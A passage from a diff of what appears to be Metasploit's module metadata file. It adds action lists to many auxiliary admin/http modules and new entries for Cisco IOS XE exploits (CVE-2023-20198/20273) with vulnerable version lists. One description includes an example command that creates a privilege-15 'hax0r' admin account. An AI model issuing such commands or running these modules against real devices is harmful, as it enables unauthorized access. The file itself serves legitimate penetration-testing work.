false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/allegro_rompager_auth_bypass": { "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", @@ -1217,7 +1462,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/arris_motorola_surfboard_backdoor_xss": { "name": "Arris / Motorola Surfboard SBG6580 Web Interface Takeover", @@ -1258,7 +1506,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_admin/http/atlassian_confluence_auth_bypass": { "name": "Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control", @@ -1319,7 +1573,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/axigen_file_access": { "name": "Axigen Arbitrary File Read and Delete", @@ -1369,7 +1626,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Delete", + "description": "Delete remote file" + }, + { + "name": "Read", + "description": "Read remote file" + } + ] }, "auxiliary_admin/http/cfme_manageiq_evm_pass_reset": { "name": "Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection", @@ -1418,7 +1685,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/cisco_7937g_ssh_privesc": { "name": "Cisco 7937G SSH Privilege Escalation", @@ -1457,7 +1727,140 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] + }, + "auxiliary_admin/http/cisco_ios_xe_cli_exec_cve_2023_20198": { + "name": "Cisco IOX XE unauthenticated Command Line Interface (CLI) execution", + "fullname": "auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-10-16", + "type": "auxiliary", + "author": [ + "sfewer-r7" + ], + "description": "This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the\n Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.\n\n You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and\n `global`. To run a command in \"Privileged\" mode, set the `CMD` option to the command you want to run,\n e.g. `show version` and set the `MODE` to `privileged`. To run a command in \"Global Configuration\" mode, set\n the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set\n the `MODE` to `global`.\n\n The vulnerable IOS XE versions are:\n 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,\n 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,\n 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,\n 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,\n 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,\n 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,\n 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,\n 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,\n 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,\n 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,\n 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,\n 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,\n 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,\n 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,\n 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,\n 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,\n 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,\n 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,\n 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,\n 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,\n 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,\n 17.11.99SW", + "references": [ + "CVE-2023-20198", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", + "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-11-06 11:40:22 +0000", + "path": "/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb", + "is_install_path": true, + "ref_name": "admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, + "auxiliary_admin/http/cisco_ios_xe_os_exec_cve_2023_20273": { + "name": "Cisco IOX XE unauthenticated OS command execution", + "fullname": "auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-10-16", + "type": "auxiliary", + "author": [ + "sfewer-r7" + ], + "description": "This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE\n devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.\n\n This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,\n CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read\n back via the webserver. Finally the output file is deleted and the admin user is removed.\n\n The vulnerable IOS XE versions are:\n 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,\n 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,\n 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,\n 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,\n 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,\n 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,\n 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,\n 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,\n 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,\n 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,\n 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,\n 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,\n 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,\n 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,\n 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,\n 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,\n 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,\n 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,\n 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,\n 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,\n 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,\n 17.11.99SW", + "references": [ + "CVE-2023-20198", + "CVE-2023-20273", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", + "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/", + "URL-https://blog.leakix.net/2023/10/cisco-root-privesc/" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-11-06 11:40:22 +0000", + "path": "/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb", + "is_install_path": true, + "ref_name": "admin/http/cisco_ios_xe_os_exec_cve_2023_20273", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/cnpilot_r_cmd_exec": { "name": "Cambium cnPilot r200/r201 Command Execution as 'root'", @@ -1505,7 +1908,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/cnpilot_r_fpt": { "name": "Cambium cnPilot r200/r201 File Path Traversal", @@ -1553,7 +1959,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/contentkeeper_fileaccess": { "name": "ContentKeeper Web Appliance mimencode File Access", @@ -1601,7 +2010,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/dlink_dir_300_600_exec_noauth": { "name": "D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution", @@ -1652,7 +2064,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/dlink_dir_645_password_extractor": { "name": "D-Link DIR 645 Password Extractor", @@ -1702,7 +2117,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/dlink_dsl320b_password_extractor": { "name": "D-Link DSL 320B Password Extractor", @@ -1751,7 +2169,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/foreman_openstack_satellite_priv_esc": { "name": "Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment", @@ -1803,7 +2224,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/gitstack_rest": { "name": "GitStack Unauthenticated REST API Requests", @@ -1853,7 +2277,25 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CLEANUP", + "description": "Remove user from repositories and delete user" + }, + { + "name": "CREATE", + "description": "Create a user on the application" + }, + { + "name": "LIST", + "description": "List application users" + }, + { + "name": "LIST_REPOS", + "description": "List available repositories" + } + ] }, "auxiliary_admin/http/grafana_auth_bypass": { "name": "Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth", @@ -1893,7 +2335,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/hikvision_unauth_pwd_reset_cve_2017_7921": { "name": "Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic", @@ -1954,7 +2399,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/hp_web_jetadmin_exec": { "name": "HP Web JetAdmin 6.5 Server Arbitrary Command Execution", @@ -2003,7 +2451,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/ibm_drm_download": { "name": "IBM Data Risk Manager Arbitrary File Download", @@ -2064,7 +2515,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download arbitrary file" + } + ] }, "auxiliary_admin/http/iis_auth_bypass": { "name": "MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass", @@ -2115,7 +2572,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/intersil_pass_reset": { "name": "Intersil (Boa) HTTPd Basic Authentication Password Reset", @@ -2166,7 +2626,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/iomega_storcenterpro_sessionid": { "name": "Iomega StorCenter Pro NAS Web Authentication Bypass", @@ -2214,7 +2677,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/jboss_bshdeployer": { "name": "JBoss JMX Console Beanshell Deployer WAR Upload and Deployment", @@ -2264,7 +2730,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Deploy", + "description": "Create and deploy app (WAR) to deliver payload" + }, + { + "name": "Undeploy", + "description": "Remove app (WAR) for cleanup" + } + ] }, "auxiliary_admin/http/jboss_deploymentfilerepository": { "name": "JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment", @@ -2314,7 +2790,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Deploy", + "description": "Create and deploy app (WAR) to deliver payload" + }, + { + "name": "Undeploy", + "description": "Remove app (WAR) for cleanup" + } + ] }, "auxiliary_admin/http/jboss_seam_exec": { "name": "JBoss Seam 2 Remote Command Execution", @@ -2363,7 +2849,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/joomla_registration_privesc": { "name": "Joomla Account Creation and Privilege Escalation", @@ -2416,7 +2905,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/kaseya_master_admin": { "name": "Kaseya VSA Master Administrator Account Creation", @@ -2466,7 +2958,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/katello_satellite_priv_esc": { "name": "Katello (Red Hat Satellite) users/update_roles Missing Authorization", @@ -2515,7 +3010,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/limesurvey_file_download": { "name": "Limesurvey Unauthenticated File Download", @@ -2565,7 +3063,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/linksys_e1500_e2500_exec": { "name": "Linksys E1500/E2500 Remote Command Execution", @@ -2615,7 +3116,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/linksys_tmunblock_admin_reset_bof": { "name": "Linksys WRT120N tmUnblock Stack Buffer Overflow", @@ -2665,7 +3169,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/linksys_wrt54gl_exec": { "name": "Linksys WRT54GL Remote Command Execution", @@ -2716,7 +3223,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/manage_engine_dc_create_admin": { "name": "ManageEngine Desktop Central Administrator Account Creation", @@ -2766,7 +3276,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/manageengine_dir_listing": { "name": "ManageEngine Multiple Products Arbitrary Directory Listing", @@ -2816,7 +3329,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/manageengine_file_download": { "name": "ManageEngine Multiple Products Arbitrary File Download", @@ -2866,7 +3382,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/manageengine_pmp_privesc": { "name": "ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection", @@ -2916,7 +3435,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/mantisbt_password_reset": { "name": "MantisBT password reset", @@ -2967,7 +3489,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/mutiny_frontend_read_delete": { "name": "Mutiny 5 Arbitrary File Read and Delete", @@ -3016,7 +3541,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Delete", + "description": "Delete arbitrary file" + }, + { + "name": "Read", + "description": "Read arbitrary file" + } + ] }, "auxiliary_admin/http/netflow_file_download": { "name": "ManageEngine NetFlow Analyzer Arbitrary File Download", @@ -3066,7 +3601,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_auth_download": { "name": "NETGEAR ProSafe Network Management System 300 Authenticated File Download", @@ -3116,7 +3654,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_pnpx_getsharefolderlist_auth_bypass": { "name": "Netgear PNPX_GetShareFolderList Authentication Bypass", @@ -3178,7 +3719,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_r6700_pass_reset": { "name": "Netgear R6700v3 Unauthenticated LAN Admin Password Reset", @@ -3244,7 +3788,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_r7000_backup_cgi_heap_overflow_rce": { "name": "Netgear R7000 backup.cgi Heap Overflow RCE", @@ -3303,7 +3850,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_soap_password_extractor": { "name": "Netgear Unauthenticated SOAP Password Extractor", @@ -3354,7 +3904,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/netgear_wnr2000_pass_recovery": { "name": "NETGEAR WNR2000v5 Administrator Password Recovery", @@ -3405,7 +3958,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/nexpose_xxe_file_read": { "name": "Nexpose XXE Arbitrary File Read", @@ -3454,7 +4010,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/novell_file_reporter_filedelete": { "name": "Novell File Reporter Agent Arbitrary File Delete", @@ -3504,7 +4063,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/nuuo_nvrmini_reset": { "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset", @@ -3554,7 +4116,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/openbravo_xxe": { "name": "Openbravo ERP XXE Arbitrary File Read", @@ -3604,7 +4169,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/pfadmin_set_protected_alias": { "name": "Postfixadmin Protected Alias Deletion Vulnerability", @@ -3653,7 +4221,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/pihole_domains_api_exec": { "name": "Pi-Hole Top Domains API Authenticated Exec", @@ -3713,7 +4284,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/rails_devise_pass_reset": { "name": "Ruby on Rails Devise Authentication Password Reset", @@ -3767,7 +4341,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/scadabr_credential_dump": { "name": "ScadaBR Credentials Dumper", @@ -3814,7 +4391,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/scrutinizer_add_user": { "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass", @@ -3866,7 +4446,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/sophos_wpa_traversal": { "name": "Sophos Web Protection Appliance patience.cgi Directory Traversal", @@ -3919,7 +4502,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/supra_smart_cloud_tv_rfi": { "name": "Supra Smart Cloud TV Remote File Inclusion", @@ -3968,7 +4554,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/sysaid_admin_acct": { "name": "SysAid Help Desk Administrator Account Creation", @@ -4017,7 +4606,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/sysaid_file_download": { "name": "SysAid Help Desk Arbitrary File Download", @@ -4067,7 +4659,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/sysaid_sql_creds": { "name": "SysAid Help Desk Database Credentials Disclosure", @@ -4117,7 +4712,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/telpho10_credential_dump": { "name": "Telpho10 Backup Credentials Dumper", @@ -4164,7 +4762,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/tomcat_administration": { "name": "Tomcat Administration Tool Default Access", @@ -4211,7 +4812,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/tomcat_ghostcat": { "name": "Apache Tomcat AJP File Read", @@ -4234,7 +4838,7 @@ ], "platform": "", "arch": "", - "rport": 8080, + "rport": 8009, "autofilter_ports": [ ], @@ -4242,7 +4846,7 @@ ], "targets": null, - "mod_time": "2022-10-01 17:54:59 +0000", + "mod_time": "2023-11-17 12:58:05 +0000", "path": "/modules/auxiliary/admin/http/tomcat_ghostcat.rb", "is_install_path": true, "ref_name": "admin/http/tomcat_ghostcat", @@ -4264,7 +4868,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/tomcat_utf8_traversal": { "name": "Tomcat UTF-8 Directory Traversal Vulnerability", @@ -4315,7 +4922,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/trendmicro_dlp_traversal": { "name": "TrendMicro Data Loss Prevention 5.5 Directory Traversal", @@ -4368,7 +4978,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/typo3_news_module_sqli": { "name": "TYPO3 News Module SQL Injection", @@ -4417,7 +5030,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/typo3_sa_2009_001": { "name": "TYPO3 sa-2009-001 Weak Encryption Key File Disclosure", @@ -4467,7 +5083,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/typo3_sa_2009_002": { "name": "Typo3 sa-2009-002 File Disclosure", @@ -4518,7 +5137,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download arbitrary file" + } + ] }, "auxiliary_admin/http/typo3_sa_2010_020": { "name": "TYPO3 sa-2010-020 Remote File Disclosure", @@ -4568,7 +5193,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/typo3_winstaller_default_enc_keys": { "name": "TYPO3 Winstaller Default Encryption Keys", @@ -4615,7 +5243,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "HMAC_SHA1", + "description": "TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)" + }, + { + "name": "MIME", + "description": "TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3" + }, + { + "name": "Short_MD5", + "description": "TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0" + } + ] }, "auxiliary_admin/http/ulterius_file_download": { "name": "Ulterius Server File Download Vulnerability", @@ -4664,7 +5306,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/vbulletin_upgrade_admin": { "name": "vBulletin Administrator Account Creation", @@ -4715,7 +5360,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/webnms_cred_disclosure": { "name": "WebNMS Framework Server Credential Disclosure", @@ -4765,7 +5413,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false 